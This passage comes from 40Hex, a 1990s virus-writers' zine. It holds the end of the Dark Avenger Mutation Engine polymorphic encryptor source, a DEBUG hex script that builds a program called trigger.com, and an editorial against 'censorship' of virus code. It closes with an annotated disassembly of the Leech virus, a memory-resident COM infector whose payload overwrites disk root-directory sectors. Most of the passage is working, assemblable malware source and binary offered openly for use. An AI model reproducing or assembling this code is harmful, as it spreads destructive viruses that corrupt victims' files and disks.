call get_rand_bx ; 3/4 chance of doing something
cmp bl,0c0
ja swap_decrypt_encrypt
call _playencrypt
call handle_jmp_table_nogarble
finish_encryption:
call swap_decrypt_encrypt
push cx
and cl,not 3
call [bx+si+1]
pop cx
mov _encryptpointer,di
ret
_playencrypt:
mov _nest,0
call one_in_two
js get_used_register
call get_rand_bx
mov si,offset oneregtable
jmp short continue_playencrypt
get_used_register:
call get_rand_bx
and bx,7
cmp bl,_sp
jz get_used_register
cmp byte ptr [bx+_used_regs],0
jz get_used_register
mov si,offset tworegtable
continue_playencrypt:
xchg dx,bx
ret
encryption:
mov di,_decryptpointer
call twogarble
mov al,_pointer_reg
and ax,7
mov bx,offset reg_xlat_table-3
xlat
mov bp,offset _decrypt_relocate_num
call _playencrypt
call go_next
call handle_jmp_table_nogarble
mov bp,offset _encrypt_relocate_num
call go_next
jmp short finish_encryption
go_next:
push ax
lodsb
cbw
add si,ax
pop ax
inc si
inc si
ret
clear_used_regs:
xor ax,ax
mov di,offset _used_regs
stosw
stosw
inc ax
stosw
dec ax
stosw
ret
get_another:
call get_rand
and ax,7
mov si,ax
cmp [si+_used_regs],0
jnz get_another
inc [si+_used_regs]
ret
clear_reg_dx:
xchg ax,dx
clear_reg:
mov si,ax
mov byte ptr [si+_used_regs],0
ret
free_regs: ; check for free registers
; zero flag if OK
push ax
push cx
push di
mov di,offset _used_regs
mov cx,8
xor ax,ax
repne scasb
pop di
pop cx
pop ax
ret
one_in_two:
push ax
call get_rand
or ax,ax
pop ax
ret
get_rand_bx:
xchg ax,bx
call get_rand
xchg ax,bx
return:
ret
fourgarble:
call twogarble
twogarble:
mov _nest,0
call garble
garble: ; ax, dx preserved
call free_regs
jne return
test cl,2
jz return
push ax
push dx
call get_rand ; random # to dx
xchg ax,dx
call get_another ; random reg in al
call clear_reg ; don't mark as used
mov si,offset garbletable
jmp short handle_jmp_table_nopush_ax_dx
handle_jmp_table: ; ax,dx preserved
push si
call garble
pop si
handle_jmp_table_nogarble:
push ax
push dx
handle_jmp_table_nopush_ax_dx:
push si
push cx
xchg ax,cx
lodsb ; get mask value
cbw
xchg ax,cx
call get_rand_bx
and bx,cx
pop cx
inc _nest
cmp _nest,MAXNEST
jb not_max_nest
xor bx,bx
not_max_nest:
push bx
call [bx+si]
pop bx
pop si
pop dx
pop ax
ret
garble_tworeg:
mov si,offset tworegtable
and dx,7
jmp short handle_jmp_table_nogarble
garble_onereg:
mov si,offset oneregtable
jmp short handle_jmp_table_nogarble
garble_onebyte:
xchg ax,dx
and al,7
mov bx,offset onebytetable
xlat
stosb
ret
garble_jmpcond:
xchg ax,dx
and ax,0f
or al,70
stosw
ret
_push:
or al,al
js _push_mem
add al,50
stosb
ret
_push_mem:
add ax,0ff30
jmp short go_mod_xxx_rm1
_pop:
or al,al
js _pop_mem
add al,58
stosb
ret
_pop_mem:
mov ah,8f
go_mod_xxx_rm1:
jmp mod_xxx_rm
mov_reg_xxxx:
mov si,offset mov_reg_xxxx_table
go_handle_jmp_table1:
jmp short handle_jmp_table
_mov_reg_xxxx_mov_add:
call get_rand_bx
push bx
sub dx,bx
call mov_reg_xxxx
pop dx
jmp short go_add_reg_xxxx
_mov_reg_xxxx_mov_al_ah:
cmp al,_sp
jae _mov_reg_xxxx
push ax
push dx
call _mov_al_xx
pop dx
pop ax
xchg dh,dl
jmp short _mov_ah_xx
_mov_reg_xxxx_mov_xor:
call get_rand_bx
push bx
xor dx,bx
call mov_reg_xxxx
pop dx
jmp xor_reg_xxxx
_mov_reg_xxxx_xor_add:
push dx
mov dx,ax
call xor_reg_reg
pop dx
go_add_reg_xxxx:
jmp add_reg_xxxx
_mov_reg_xxxx_mov_rol:
ror dx,1
call mov_reg_xxxx
jmp short _rol
_mov_reg_xxxx_mov_ror:
rol dx,1
call mov_reg_xxxx
_ror:
or al,8
_rol:
mov ah,0d1
jmp mod_xxx_rm
_mov_reg_xxxx:
add al,0B8
stosb
xchg ax,dx
stosw
ret
mov_ah_xx:
_mov_ah_xx:
add al,04
mov_al_xx:
_mov_al_xx:
add al,0B0
mov ah,dl
stosw
ret
mov_reg_reg:
mov si,offset mov_reg_reg_table
jmp short go_handle_jmp_table1
_mov_reg_reg_push_pop:
push ax
xchg dx,ax ; al = reg2
call _push ; push reg2
pop ax ; al = reg1
jmp _pop ; pop reg1
_mov_reg_reg:
mov ah,08Bh
jmp short _mod_reg_rm_direction
mov_xchg_reg_reg:
call one_in_two
js mov_reg_reg
xchg_reg_reg:
mov si,offset xchg_reg_reg_table
jmp handle_jmp_table
_xchg_reg_reg_push_pop:
push dx ; save reg2
push ax ; save reg1
push dx
call _push ; push reg1
pop ax
call _push ; push reg2
pop ax
call _pop ; pop reg1
pop ax
jmp _pop ; pop reg2
_xchg_reg_reg_3rd_reg:
call free_regs
jne _xchg_reg_reg
push dx ; save reg2
push ax ; save reg1
call get_another
call mov_xchg_reg_reg ; mov/xchg reg3, reg2
pop dx ; get reg1
call xchg_reg_reg ; xchg reg3, reg1
pop dx ; get reg2
xchg ax,dx ; ax=reg2, dx=reg3
call mov_xchg_reg_reg ; mov/xchg reg2, reg3
jmp clear_reg_dx
_xchg_reg_reg:
or al,al
js __xchg_reg_reg
cmp al,dl
jg _xchg_reg_reg_skip
xchg al,dl
_xchg_reg_reg_skip:
or dl,dl
jz _xchg_ax_reg
__xchg_reg_reg:
xchg al,dl
mov ah,87
jmp short _mod_reg_rm
_xchg_ax_reg:
add al,90
stosb
ret
xor_reg_xxxx_xor_xor:
call get_rand_bx
push bx
xor dx,bx
call xor_reg_xxxx
pop dx
jmp short xor_reg_xxxx
xor_reg_xxxx:
mov si,offset xor_reg_xxxx_table
jmp handle_jmp_table
_xor_reg_xxxx:
or al,030
jmp _81h_
xor_reg_reg:
mov si,offset xor_reg_reg_table
jmp handle_jmp_table
_xor_reg_reg:
mov ah,33
_mod_reg_rm_direction:
or al,al
js dodirection
or dl,dl
js _mod_reg_rm
call one_in_two
js _mod_reg_rm
dodirection:
xchg al,dl
sub ah,2
_mod_reg_rm:
shl al,1
shl al,1
shl al,1
or al,dl
mod_xxx_rm:
or al,al
js no_no_reg
or al,0c0
no_no_reg:
xchg ah,al
test ah,40
jnz exit_mod_reg_rm
test cl,1
jnz continue_mod_xxx_rm
push ax
mov al,2e
stosb
pop ax
continue_mod_xxx_rm:
stosw
mov si,cs:[bp] ; need cs: overrides on bp
add si,si
mov cs:[si+bp+2],di
inc word ptr cs:[bp]
mov al,_relocate_amt
cbw
exit_mod_reg_rm:
stosw
ret
add_reg_reg:
mov si,offset add_reg_reg_table
jmp handle_jmp_table
_add_reg_reg:
mov ah,3
jmp short _mod_reg_rm_direction
sub_reg_reg:
mov si,offset sub_reg_reg_table
jmp handle_jmp_table
_sub_reg_reg:
mov ah,2bh
jmp short _mod_reg_rm_direction
_add_reg_xxxx_inc_add:
call inc_reg
dec dx
jmp short add_reg_xxxx
_add_reg_xxxx_dec_add:
call dec_reg
inc dx
jmp short add_reg_xxxx
_add_reg_xxxx_add_add:
call get_rand_bx
push bx
sub dx,bx
call add_reg_xxxx
pop dx
jmp short add_reg_xxxx
add_reg_xxxx1:
neg dx
add_reg_xxxx:
or dx,dx
jnz cont
return1:
ret
cont:
mov si,offset add_reg_xxxx_table
jmp handle_jmp_table
_add_reg_xxxx:
or al,al
jz _add_ax_xxxx
_81h_:
or al,al
js __81h
add al,0c0
__81h:
mov ah,81
call mod_xxx_rm
_encode_dx_:
xchg ax,dx
stosw
ret
_add_ax_xxxx:
mov al,5
_encode_al_dx_:
stosb
jmp short _encode_dx_
sub_reg_xxxx1:
neg dx
sub_reg_xxxx:
_sub_reg_xxxx:
or dx,dx
jz return1
or al,al
jz _sub_ax_xxxx
add al,028
jmp short _81h_
_sub_ax_xxxx:
mov al,2dh
jmp short _encode_al_dx_
dec_reg:
push ax
add al,8
jmp short _dec_inc_reg
inc_reg:
push ax
_dec_inc_reg:
or al,al
jns _norm_inc
mov ah,0ff
call mod_xxx_rm
pop ax
ret
_norm_inc:
add al,40
stosb
pop ax
ret
_mov_reg_reg_3rd_reg:
mov bx,offset mov_reg_reg
mov si,offset mov_xchg_reg_reg
jmp short reg_to_reg
xor_reg_reg_reg_reg:
mov bx,offset _xor_reg_reg
jmp short reg_to_reg1
add_reg_reg_reg_reg:
mov bx,offset _add_reg_reg
jmp short reg_to_reg1
sub_reg_reg_reg_reg:
mov bx,offset _sub_reg_reg
reg_to_reg1:
mov si,bx
reg_to_reg:
call free_regs
jne no_free_regs
push ax
push si
call get_another
call mov_reg_reg ; mov reg3, reg2
pop si
pop dx ; ax=reg3, dx=reg1
xchg ax,dx ; ax=reg1, dx=reg3
push dx
call si
pop dx
go_clear_reg_dx:
jmp clear_reg_dx
_xor_reg_xxxx_reg_reg:
mov bx,offset xor_reg_xxxx
mov si,offset xor_reg_reg
xxxx_to_reg:
call free_regs
jne no_free_regs
push ax
push si
call get_another
call mov_reg_xxxx
xchg ax,dx
pop si
pop ax
push dx
call si
pop dx
jmp short go_clear_reg_dx
no_free_regs:
jmp bx
_add_reg_xxxx_reg_reg:
mov bx,offset add_reg_xxxx
mov si,offset add_reg_reg
jmp short xxxx_to_reg
_mov_reg_xxxx_reg_reg:
mov bx,offset mov_reg_xxxx
mov si,offset mov_xchg_reg_reg
jmp short xxxx_to_reg
garbletable:
db garbletableend - $ - 3
dw offset return
dw offset return
dw offset garble_tworeg
dw offset garble_tworeg
dw offset garble_onereg
dw offset garble_onereg
dw offset garble_onebyte
dw offset garble_jmpcond
garbletableend:
onebytetable:
clc
cmc
stc
cld
std
sti
int 3
lock
oneregtable:
db oneregtableend - $ - 3
dw offset xor_reg_xxxx
dw offset mov_reg_xxxx
dw offset sub_reg_xxxx
dw offset add_reg_xxxx
dw offset dec_reg
dw offset inc_reg
dw offset _ror
dw offset _rol
oneregtableend:
oneregtable1:
db oneregtable1end - $ - 3
dw offset xor_reg_xxxx
dw offset sub_reg_xxxx
dw offset add_reg_xxxx
dw offset add_reg_xxxx
dw offset dec_reg
dw offset inc_reg
dw offset _ror
dw offset _rol
oneregtable1end:
oneregtable2:
db oneregtable2end - $ - 3
dw offset xor_reg_xxxx
dw offset add_reg_xxxx
dw offset sub_reg_xxxx
dw offset sub_reg_xxxx
dw offset inc_reg
dw offset dec_reg
dw offset _rol
dw offset _ror
oneregtable2end:
tworegtable:
db tworegtableend - $ - 3
dw offset xor_reg_reg
dw offset mov_reg_reg
dw offset sub_reg_reg
dw offset add_reg_reg
tworegtableend:
tworegtable1:
db tworegtable1end - $ - 3
dw offset xor_reg_reg
dw offset xor_reg_reg
dw offset sub_reg_reg
dw offset add_reg_reg
tworegtable1end:
tworegtable2:
db tworegtable2end - $ - 3
dw offset xor_reg_reg
dw offset xor_reg_reg
dw offset add_reg_reg
dw offset sub_reg_reg
tworegtable2end:
mov_reg_xxxx_table:
db mov_reg_xxxx_table_end - $ - 3
dw offset _mov_reg_xxxx
dw offset _mov_reg_xxxx_reg_reg
dw offset _mov_reg_xxxx_mov_add
dw offset _mov_reg_xxxx_mov_al_ah
dw offset _mov_reg_xxxx_mov_xor
dw offset _mov_reg_xxxx_xor_add
dw offset _mov_reg_xxxx_mov_rol
dw offset _mov_reg_xxxx_mov_ror
mov_reg_xxxx_table_end:
mov_reg_reg_table:
db mov_reg_reg_table_end - $ - 3
dw offset _mov_reg_reg
dw offset _mov_reg_reg
dw offset _mov_reg_reg_3rd_reg
dw offset _mov_reg_reg_push_pop
mov_reg_reg_table_end:
xchg_reg_reg_table:
db xchg_reg_reg_table_end - $ - 3
dw offset _xchg_reg_reg
dw offset _xchg_reg_reg
dw offset _xchg_reg_reg_push_pop
dw offset _xchg_reg_reg_3rd_reg
xchg_reg_reg_table_end:
xor_reg_xxxx_table:
db xor_reg_xxxx_table_end - $ - 3
dw offset _xor_reg_xxxx
dw offset _xor_reg_xxxx
dw offset _xor_reg_xxxx_reg_reg
dw offset xor_reg_xxxx_xor_xor
xor_reg_xxxx_table_end:
xor_reg_reg_table:
db xor_reg_reg_table_end - $ - 3
dw offset _xor_reg_reg
dw offset xor_reg_reg_reg_reg
xor_reg_reg_table_end:
add_reg_reg_table:
db add_reg_reg_table_end - $ - 3
dw offset _add_reg_reg
dw offset add_reg_reg_reg_reg
add_reg_reg_table_end:
sub_reg_reg_table:
db sub_reg_reg_table_end - $ - 3
dw offset _sub_reg_reg
dw offset sub_reg_reg_reg_reg
sub_reg_reg_table_end:
add_reg_xxxx_table:
db add_reg_xxxx_table_end - $ - 3
dw offset _add_reg_xxxx
dw offset _add_reg_xxxx
dw offset _add_reg_xxxx_reg_reg
dw offset sub_reg_xxxx1
dw offset _add_reg_xxxx_inc_add
dw offset _add_reg_xxxx_dec_add
dw offset _add_reg_xxxx_add_add
dw offset _add_reg_xxxx_add_add
add_reg_xxxx_table_end:
endif
if vars eq 0
else
_nest db ? ; needed to prevent infinite recursion
_relocate_amt db ?
_loopstartencrypt dw ?
_loopstartdecrypt dw ?
_encryptpointer dw ?
_decryptpointer dw ?
_decryptpointer2 dw ?
_start_encrypt dw ?
_start_decrypt dw ?
_used_regs db 8 dup (?) ; 0 = unused
beginclear1:
_encrypt_relocate_num dw ?
_encrypt_relocator dw 8 dup (?)
_decrypt_relocate_num dw ?
_decrypt_relocator dw 10 dup (?)
endclear1:
_encrypt_length dw ? ; based upon alignment
_counter_value dw ? ; _counter_reg
_pointer_value dw ?
_decrypt_value dw ?
_dummy_reg db ?
_counter_reg db ?
_pointer_reg db ? ; 4 = not in use
_encrypt_reg db ?
endif
-end dame.asm-------begin trigger.scr------------------------------------------
n trigger.com
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e 04C0 0F 1F 5F 5E 5A 59 5B 58 FC 50 53 51 52 56 57 E8
e 04D0 07 00 5F 5E 5A 5B 5B 58 C3 FC 50 B8 A7 09 97 AB
e 04E0 96 AB AB 92 AB 93 AB 87 CA E8 44 02 B9 1A 00 F3
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e 05F0 A9 09 BE CD 09 2B 3E AB 09 03 3E AF 09 F6 C5 20
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e 0860 58 EB 8E B4 8B EB 6D E8 00 FF 78 EA BE 6F 09 E9
e 0870 2C FF 52 50 52 E8 6C FF 58 E8 68 FF 58 E8 71 FF
e 0880 58 E9 6D FF E8 D2 FE 75 14 52 50 E8 AE FE E8 D6
e 0890 FF 5A E8 D7 FF 5A 92 E8 CD FF E9 B3 FE 0A C0 78
e 08A0 0A 3A C2 7F 02 86 C2 0A D2 74 06 86 C2 B4 87 EB
e 08B0 35 04 90 AA C3 E8 BA FE 53 33 D3 E8 03 00 5A EB
e 08C0 00 BE 78 09 E9 D7 FE 0C 30 E9 8B 00 BE 81 09 E9
e 08D0 CC FE B4 33 0A C0 78 09 0A D2 78 0A E8 8B FE 78
e 08E0 05 86 C2 80 EC 02 D0 E0 D0 E0 D0 E0 0A C2 0A C0
e 08F0 78 02 0C C0 86 E0 F6 C4 40 75 1D F6 C1 01 75 05
e 0900 50 B0 2E AA 58 AB 2E 8B 76 00 03 F6 2E 89 7A 02
e 0910 2E FF 46 00 A0 A2 09 98 AB C3 BE 86 09 E9 7E FE
e 0920 B4 03 EB B0 BE 8B 09 E9 74 FE B4 2B EB A6 E8 50
e 0930 00 4A EB 14 E8 45 00 42 EB 0E E8 35 FE 53 2B D3
e 0940 E8 05 00 5A EB 02 F7 DA 0B D2 75 01 C3 BE 90 09
e 0950 E9 4B FE 0A C0 74 0E 0A C0 78 02 04 C0 B4 81 E8
e 0960 8C FF 92 AB C3 B0 05 AA EB F8 F7 DA 0B D2 74 DC
e 0970 0A C0 74 04 04 28 EB DF B0 2D EB EB 50 04 08 EB
e 0980 01 50 0A C0 79 07 B4 FF E8 63 FF 58 C3 04 40 AA
e 0990 58 C3 BB 56 07 BE 67 07 EB 0F BB D2 07 EB 08 BB
e 09A0 20 08 EB 03 BB 2A 08 8B F3 E8 AD FD 75 2E 50 56
e 09B0 E8 89 FD E8 A0 FE 5E 5A 92 52 FF D6 5A E9 90 FD
e 09C0 BB C1 07 BE CC 07 E8 90 FD 75 11 50 56 E8 6C FD
e 09D0 E8 2B FE 92 5E 58 52 FF D6 5A EB E1 FF E3 BB 48
e 09E0 08 BE 1A 08 EB E0 BB FE 06 BE 67 07 EB D8 0E 77
e 09F0 06 77 06 C6 06 C6 06 CE 06 CE 06 D3 06 DC 06 F8
e 0A00 F5 F9 FC FD FB CC F0 0E C1 07 FE 06 6C 08 48 08
e 0A10 7C 08 81 08 41 07 43 07 0E C1 07 6C 08 48 08 48
e 0A20 08 7C 08 81 08 41 07 43 07 0E C1 07 48 08 6C 08
e 0A30 6C 08 81 08 7C 08 43 07 41 07 06 CC 07 56 07 24
e 0A40 08 1A 08 06 CC 07 CC 07 24 08 1A 08 06 CC 07 CC
e 0A50 07 1A 08 24 08 0E 48 07 E6 08 03 07 0F 07 1E 07
e 0A60 2B 07 35 07 3C 07 06 63 07 63 07 92 08 5B 07 06
e 0A70 9D 07 9D 07 72 07 84 07 06 C7 07 C7 07 C0 08 B5
e 0A80 07 02 D2 07 9A 08 02 20 08 9F 08 02 2A 08 A4 08
e 0A90 0E 53 08 53 08 DE 08 6A 08 2E 08 34 08 3A 08 3A
e 0AA0 08
rcx
09A1
w
q
-end trigger.scr---------------------------------------------------------------
40Hex Issue 11 Volume 3 Number 2 File 004
40-Hex Editorial
Virus Censorship
by DecimatoR
Recently in the comp.virus echo of Usenet there was a discussion
entitled "40 Hex Censorship". A few people were complaining about this
magazine being censored by the anti-virus community, and on Internet
itself. I found this thread interesting, and figured I'd voice my opinions
on it here, where it counts.
As many of you know, 40-Hex is one of the most popular underground mags.
I was actually told by a European Anti-Virus researcher that 40-Hex was
regarded as the best VX magazine in existance by most of the anti-virus
community. Of course, I was quite happy to hear this. (Who wouldn't be?)
But I also couldn't help wondering, how could a magazine like 40-Hex, with no
real distribution system, be the most popular? It got me thinking, and I
realized that we provide, in great detail, some of the most recent news, and
developments in the virus community. Anyone can publish source code and
hex dumps, but we take it a bit further. 40-Hex is more than just a how-to
magazine, it's a publication which delves into details, world wide
developments, and never-before distributed source code with new and
interesting programming techniques. It's more than a source of viruses; it's
a source of _information_.
This also got me thinking, about the actual distribution system of
40-Hex. Each issue is distributed on two, and ONLY two bulletin boards -
Digital Warfare and Liquid Euphoria. From there, it is passed rapidly across
the country, and, soon after, around the world. Unfortunately, 40-Hex never
seems to make it to a LARGE portion of the population who want it - the folks
who hang out on in the comp.virus echo of Usenet. A few issues back, I
posted a note there, asking for input on a survey I was conducting. Over
half of the replies I received didn't even answer my questions - all the
folks wanted to know was WHERE could they get their hands on 40-Hex? After a
little digging, I found 2 sites which allowed 40-Hex to be posted for
anonymous FTP. Within a month, both sites had removed the magazine.
Censorship? You bet. See, the anti-virus folks on Usenet feel that this
magazine is BAD. After all, we publish source code which any virus author
can learn by. We encourage people to learn new programming techniques. We
tell the truth about how viruses work, and we're not afraid to give people
code which shows HOW viruses do what they do, so that anyone who wishes to
write a virus has the KNOWLEDGE to do so.
But does this make us bad? Let's look at it again, in a slightly
different perspective:
We publish source code which any anti-virus author can learn by. We encourage
people to learn new programming techniques. We tell the truth about how
viruses work, and we're not afraid to give people code which shows HOW viruses
do what they do, so that anyone who wishes to write anti-virus software has the
KNOWLEDGE to do so.
Hmmm... now do we seem so bad? With the addition of a few "anti"s in that
last paragraph, we turned 40-Hex around - from a bad underground magazine to
a beneficial wealth of information. Interesting, eh?
This seems to be where the Vesselin Bontchev's of the world have a serious
problem seeing the forest, because of the trees. Bontchev has often
proclaimed, quite loudly, and in no uncertain terms, that virus code should
NEVER, NEVER, NEVER, UNDER _ANY_ CIRCUMSTANCES, BE DISTRIBUTED TO ANYONE!
Anyone, that is, except an anti-virus researcher like himself.
Double standard? Yes.
A typical scenario on the newsgroup reads like this:
Joe Unknown: Hi, I'm interested in writing an anti-virus package, and need
to obtain viruses which I can experiment and work with. Where
can I find them?
Joe Established-AV-Person: You can't. I don't know you, and no one else does
either. Therefore, you cannot be trusted, and you
may not recieve virus code. You should be ashamed
for asking! You probably just want to learn to
write viruses so you can wreak havoc on all
computers everywhere! Hmmmph!
Yes, folks, it IS this bad. The anti-virus guys talk of "ethical
standards" which say that they just can't give out virus code, except to
other established AV people. Ethical standards? DOUBLE STANDARDS!!! What
would happen, if they DID give their viruses to "unknown" people who wanted
them? Would massive virus infections result? Maybe. Would new anti-virus
software packages be created? Probably. But will the AV guys give anyone a
chance? Hardly.
It's this attitude which upsets a lot of people. And one of them was
upset enough to finally ask WHY 40-Hex was so censored on the net. Of course,
he got the "ethical standard" reply. But the true fact is - people WANT this
(and any other) fine VX magazine! The Nuke Infojournals, ARCV newsletters,
the Crypt newsletters... I've had people ask me time and time again WHERE
they can find them on the Internet. And I've told them, time and time again,
"You can't. Sorry."
Most of you who read this mag are involved in either of 3 groups:
The Virus underground, System Security, or Anti-Virus research. Where did
YOU obtain your copy of 40-Hex? A BBS? A friend? A disk you found lying in
the computer room? Probably a BBS. Certainly not Internet. The poor folks
on Internet are missing out on a LOT of good information, all because a
handful of self-appointed experts decided that CENSORSHIP was better than
KNOWLEDGE. Of course, if I were to post this fact in comp.virus, my message
would never get out. Why? Because the group is moderated by an individual
who ranks right up there with the rest of the Censors. Any message even
vaguely requesting a source for viruses is killed before it gets out. And
certainly, any post containing source code, or a way to obtain viruses is
nuked before it's ever seen by anyone. THE COMP.VIRUS ECHO IS ONE OF THE
MOST HEAVILY CENSORED NEWSGROUPS ON USENET! Does this bother you? It
certainly bothers me! INFORMATION IS POWER, FOLKS! Stupidity is NOT!
Recently I had a long conversation with Alan Solomon, head of S & S
International, publisher of Dr. Solomon's Anti-Virus Toolkit. It was a
pleasant conversation, and Dr. Solly is a very nice person to talk to.
Although we obviously don't see eye-to-eye on certain topics, we came to a
general understanding - he does anti-virus work to help other people and to
make a living. I run a virus board to pass on information and to fight
censorship. I respect him for his ideals, and I believe he respects me
for mine. Of course, he doesn't approve of what I do, but he respects my
reasons for doing it. Was an interesting conversation, I'm glad we had it.
Thanks, Alan - for everything.
Censorship of viruses, virus code, and virus mags is quite strong. Those
in the underground often don't realize how censored this material really is,
or how lucky they are to be able to obtain it with a phone call. It really
bugs me to think that people out there WANT the information contained inside
this very issue, but are unable to get it because of the closed minds of a
handful of "experts".
Wake up people! This is the 90's! This is the INFORMATION AGE!
Censorship doesn't HELP! It HARMS! Keeping people ignorant doesn't help
them, it HURTS them! Knowledge is power! FREE INFORMATION IS WHAT CYBERSPACE
IS BASED ON! Anything else is simply _wrong_.
--Dec
40Hex Issue 11 Volume 3 Number 2 File 005
Virus Spotlight on: Leech
This month's virus is a Bulgarian creation known as Leech. It is mildly
polymorphic, implementing a simple code swapping algorithm. It infects on
file executes and file closes. The infections upon file closes is especially
noteworthy; look closely at the manipulation of the system file table (and see
the related article in this issue of 40Hex for more details). This resident,
COM-specific infector also hides file length increases, although the stupid
CHKDSK error will occur.
-- Dark Angel
Phalcon/Skism
-------------------------------------------------------------------------------
.model tiny
.code
org 0
; Leech virus
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m Leech.asm
virlength = (readbuffer - leech)
reslength = (((encrypted_file - leech + 15) / 16) + 2)
leech:
jmp short enter_leech
filesize dw offset carrier
oldint21 dw 0, 0
oldint13 dw 0, 0
oldint24 dw 0, 0
datestore dw 0
timestore dw 0
runningflag db 1
evenodd dw 0
enter_leech:
call next
next:
pop si
mutatearea1:
cli
push ds ; Why?
pop es
mov bp,sp ; save sp
mov sp,si ; sp = offset next
add sp,encrypt_value1 - 1 - next
mutatearea2:
mov cx,ss ; save ss
mov ax,cs
mov ss,ax ; ss = PSP
pop bx ; get encryption value
dec sp
dec sp
add si,startencrypt - next
nop
decrypt:
mutatearea3:
pop ax
xor al,bh ; decrypt away!
push ax
dec sp
cmp sp,si
jae decrypt
startencrypt:
mov ax,es
dec ax
mov ds,ax ; ds->MCB
db 81h,6,3,0 ;add word ptr ds:[3],-reslength
dw 0 - reslength
mov bx,ds:[3] ; bx = memory size
mov byte ptr ds:[0],'Z' ; mark end of chain
inc ax ; ax->PSP
inc bx
add bx,ax ; bx->high area
mov es,bx ; as does es
mov ss,cx ; restore ss
add si,leech - startencrypt
mov bx,ds ; save MCB segment
mov ds,ax
mov sp,bp ; restore sp
push si
xor di,di
mov cx,virlength ; 1024 bytes
cld
rep movsb
pop si
push bx
mov bx,offset highentry
push es
push bx
retf ; jmp to highentry in
; high memory
highentry:
mov es,ax ; es->PSP
mov ax,cs:filesize
add ax,100h ; find stored area
mov di,si
mov si,ax
mov cx,virlength
rep movsb ; and restore over virus code
pop es ; MCB
xor ax,ax
mov ds,ax ; ds->interrupt table
sti
cmp word ptr ds:21h*4,offset int21 ; already resident?
jne go_resident
db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength
dw 0 - reslength ; alter memory size
test byte ptr ds:[46Ch],0E7h ; 1.17% chance of activation
jnz exit_virus
push cs
pop ds
mov si,offset message
display_loop: ; display ASCIIZ string
lodsb ; get next character
or al,0 ; exit if 0
jz exit_display_loop
mov ah,0Eh ; otherwise write character
int 10h
jmp short display_loop
exit_display_loop:
mov ah,32h ; Get DPB -> DS:BX
xor dl,dl
int 21h
jc exit_virus ; exit on error
call getint13and24
call setint13and24
mov dx,[bx+10h] ; first sector of root
; directory
; BUG: won't work in DOS 4+
mov ah,19h ; default drive -> al
int 21h
mov cx,2 ; overwrite root directory
int 26h
pop bx
call setint13and24 ; restore int handlers
exit_virus:
jmp returnCOM
go_resident:
db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength
dw 0 - reslength ; alter top of memory in PSP
mov bx,ds:46Ch ; BX = random #
push ds
push cs
pop ds
push cs
pop es
mov runningflag,1 ; reset flag
and bh,80h
mov nothing1,bh
mutate1:
test bl,1
jnz mutate2
mov si,offset mutatearea1
add si,evenodd
lodsb
xchg al,[si] ; swap instructions
mov [si-1],al
mutate2:
test bl,2
jnz mutate3
mov si,offset mutatearea2
add si,evenodd
lodsw
xchg ax,[si] ; swap instructions
mov [si-2],ax
mutate3:
test bl,4
jnz mutate4
mov si,offset mutatearea3
mov al,2
xor [si],al ; flip between ax & dx
xor [si+2],al
xor [si+3],al
mutate4:
test bl,8
jnz findint21
mov si,offset next
mov di,offset readbuffer
mov cx,offset enter_leech
push si
push di
lodsb
cmp al,5Eh ; 1 byte pop si?
je now_single_byte_encode
inc si ; skip second byte of two
; byte encoding of pop si
now_single_byte_encode:
push cx
rep movsb
pop cx
pop si
pop di
cmp al,5Eh ; 1 byte pop si?
je encode_two_bytes ; then change to 2
mov al,5Eh ; encode a pop si
stosb
rep movsb ; then copy decrypt over
mov al,90h ; plus a nop to keep virus
stosb ; length constant
xor ax,ax ; clear the flag
jmp short set_evenodd_flag
encode_two_bytes:
mov ax,0C68Fh ; encode a two byte form of
stosw ; pop si
rep movsb
mov ax,1 ; set evenodd flag
set_evenodd_flag:
mov cs:evenodd,ax
findint21:
mov ah,30h ; Get DOS version
int 21h
cmp ax,1E03h ; DOS 3.30?
jne notDOS33
mov ah,34h ; Get DOS critical error ptr
int 21h
mov bx,1460h ; int 21h starts here
jmp short alterint21
notDOS33:
mov ax,3521h ; just get current int 21 handler
int 21h
alterint21:
mov oldint21,bx
mov word ptr ds:oldint21+2,es
mov si,21h*4 ; save old int 21 handler
pop ds ; found in interrupt table
push si
push cs
pop es
mov di,offset topint21
movsw
movsw
pop di ; and put new one in
push ds
pop es
mov ax,offset int21
stosw
mov ax,cs
stosw
mov di,offset startencrypt
mov al,cs:encrypt_value1 ; decrypt original program code
decryptcode:
xor cs:[di],al
inc di
cmp di,offset decryptcode
jb decryptcode
returnCOM:
mov ah,62h ; Get current PSP
int 21h
push bx ; restore segment registers
mov ds,bx
mov es,bx
mov ax,100h
push ax
retf ; Return to PSP:100h
infect:
push si
push ds
push es
push di
cld
push cs
pop ds
xor dx,dx ; go to start of file
call movefilepointer
mov dx,offset readbuffer ; and read 3 bytes
mov ah,3Fh
mov cx,3
call callint21
jc exiterror
xor di,di
mov ax,readbuffer
mov cx,word ptr ds:[0]
cmp cx,ax ; check if already infected
je go_exitinfect
cmp al,0EBh ; jmp short?
jne checkifJMP
mov al,ah
xor ah,ah
add ax,2
mov di,ax ; di = jmp location
checkifJMP:
cmp al,0E9h ; jmp?
jne checkifEXE ; nope
mov ax,word ptr readbuffer+1
add ax,3
mov di,ax ; di = jmp location
xor ax,ax
checkifEXE:
cmp ax,'MZ'
je exiterror
cmp ax,'ZM'
jne continue_infect
exiterror:
stc
go_exitinfect:
jmp short exitinfect
nop
continue_infect:
mov dx,di
push cx
call movefilepointer ; go to jmp location
mov dx,virlength ; and read 1024 more bytes
mov ah,3Fh
mov cx,dx
call callint21
pop cx
jc exiterror
cmp readbuffer,cx
je go_exitinfect
mov ax,di
sub ah,0FCh
cmp ax,filesize
jae exiterror
mov dx,filesize
call movefilepointer
mov dx,virlength ; write virus to middle
mov cx,dx ; of file
mov ah,40h
call callint21
jc exitinfect
mov dx,di
call movefilepointer
push cs
pop es
mov di,offset readbuffer
push di
push di
xor si,si
mov cx,di
rep movsb
mov si,offset encrypt_value2
mov al,encrypted_file
encryptfile: ; encrypt infected file
xor [si],al
inc si
cmp si,7FFh
jb encryptfile
pop cx
pop dx
mov ah,40h ; and write it to end of file
call callint21
exitinfect:
pop di
pop es
pop ds
pop si
retn
int21:
cmp ax,4B00h ; Execute?
je execute
cmp ah,3Eh ; Close?
je handleclose
cmp ah,11h ; Find first?
je findfirstnext
cmp ah,12h ; Find next?
je findfirstnext
exitint21:
db 0EAh ; jmp far ptr
topint21 dw 0, 0
findfirstnext:
push si
mov si,offset topint21
pushf
call dword ptr cs:[si] ; call int 21 handler
pop si
push ax
push bx
push es
